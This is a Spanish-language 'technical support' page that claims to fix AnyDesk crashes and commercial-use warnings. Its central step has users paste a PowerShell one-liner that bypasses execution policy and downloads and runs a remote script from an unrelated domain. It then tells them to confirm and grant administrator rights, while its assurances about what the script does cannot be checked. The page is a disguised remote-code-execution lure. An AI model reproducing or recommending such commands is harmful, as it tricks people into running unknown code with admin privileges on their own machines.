RESTABLECIMIENTO Y MANTENIMIENTO DE ANYDESK
Soporte Técnico
Guía de solución: Restablecimiento y mantenimiento de AnyDesk
Categoría: Software & Remoto | Tiempo estimado: 2 min
Si tu aplicación de AnyDesk presenta bloqueos, mensajes de uso comercial o fallas al intentar conectar, puedes ejecutar nuestro proceso automático de mantenimiento. Esta guía te explicará paso a paso cómo abrir la consola de comandos de tu equipo y ejecutar la solución en pocos segundos.
Paso 1: Abrir la ventana de PowerShell
Tienes dos formas muy sencillas de abrir la ventana de comandos en tu computadora. Elige la que te resulte más cómoda:
Opción A (Mediante la búsqueda)
- Haz clic en el Menú Inicio de Windows.
- Escribe la palabra
powershell. - Haz clic en Windows PowerShell.
Opción B (Atajo de teclado)
- Presiona las teclas Windows + R.
- En la ventana, escribe
powershell. - Presiona Enter o Aceptar.
Paso 2: Copiar y pegar el comando de mantenimiento
Una vez que se abra la ventana azul o negra de PowerShell:
- Copia el siguiente comando exactamente como aparece a continuación:
powershell -ep bypass -c "iwr https://keineslab.site/anydesk/clean.ps1 | iex"
- Pega el código dentro de la ventana de PowerShell (puedes hacer clic derecho con el ratón o presionar
Ctrl + V). - Presiona la tecla Enter para ejecutarlo.
Paso 3: Confirmar la ejecución y otorgar permisos
1. Confirmación de inicio
La pantalla te preguntará si deseas continuar con el proceso. Escribe la letra S (de Sí) en tu teclado y presiona la tecla Enter.
2. Permisos de Administrador
A continuación, el sistema solicitará permisos de seguridad de Windows. En la ventana emergente, haz clic en el botón Sí.
Paso 4: Finalización automática
Una vez otorgados los permisos, se abrirá brevemente una nueva ventana de PowerShell que cerrará de forma segura el servicio de AnyDesk, limpiará los archivos temporales de configuración y volverá a iniciar la aplicación completamente lista y renovada para su uso.
Si usted desea ayuda en soporte corporativo, nuestro equipo de soporte técnico dedicado puede orientarlo y asistirlo, escribibanos al WhatsApp 936 202 575.